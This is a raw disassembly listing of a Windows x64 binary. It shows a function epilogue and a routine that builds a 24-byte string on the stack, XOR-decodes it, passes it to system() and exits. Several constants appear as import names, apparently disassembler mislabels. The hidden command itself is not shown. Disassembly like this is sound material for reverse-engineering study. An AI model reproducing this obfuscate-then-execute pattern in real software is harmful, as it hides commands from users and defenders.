mov qword [0x140323380], rdi
mov rcx, rbx
call fcn.140033680
mov rcx, r14
call fcn.140072370
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_DestroyWindow]
nop
mov rcx, qword [rbp + 0x530]
xor rcx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x540]
mov qword [rax], rcx
xor eax, eax
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1400baee0
lea r11, [rsp + 0x790]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rbp + 0x220], Ordinal_41
mov byte [rbp + 0x221], gethostname
mov byte [rbp + 0x222], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x223], gethostname
mov byte [rbp + 0x224], 0x3e
mov byte [rbp + 0x225], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x226], Ordinal_60
mov byte [rbp + 0x227], Ordinal_50
mov byte [rbp + 0x228], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x229], 0x75
mov byte [rbp + 0x22a], Ordinal_50
mov byte [rbp + 0x22b], 0x45
mov byte [rbp + 0x22c], 0x44
mov byte [rbp + 0x22d], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x22e], Ordinal_50
mov byte [rbp + 0x22f], 0x46
mov byte [rbp + 0x230], reloc.WS2_32.dll_listen
mov byte [rbp + 0x231], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x232], 0
mov byte [rbp + 0x233], 0x41
mov byte [rbp + 0x234], 0
mov byte [rbp + 0x235], Ordinal_33
mov byte [rbp + 0x236], 1
mov byte [rbp + 0x237], WSASetLastError
movzx eax, byte [rbp + 0x220]
movabs r10, 0x35494a5e18ef6b56
mov r9, r10
lea rax, [rbp + 0x220]
sub r9, rax
nop dword [rax + rax]
lea rdx, [rbp + 0x220]
add rdx, rdi
movzx r8d, byte [rdx]
mov rcx, rdi
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, r10
shr rax, cl
and al, 0xf
add dl, r9b
xor al, dl
xor al, r8b
mov byte [rbp + rdi + 0x220], al
inc rdi
cmp rdi, 0x18
jb 0x140076e30
lea rcx, [rbp + 0x220]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3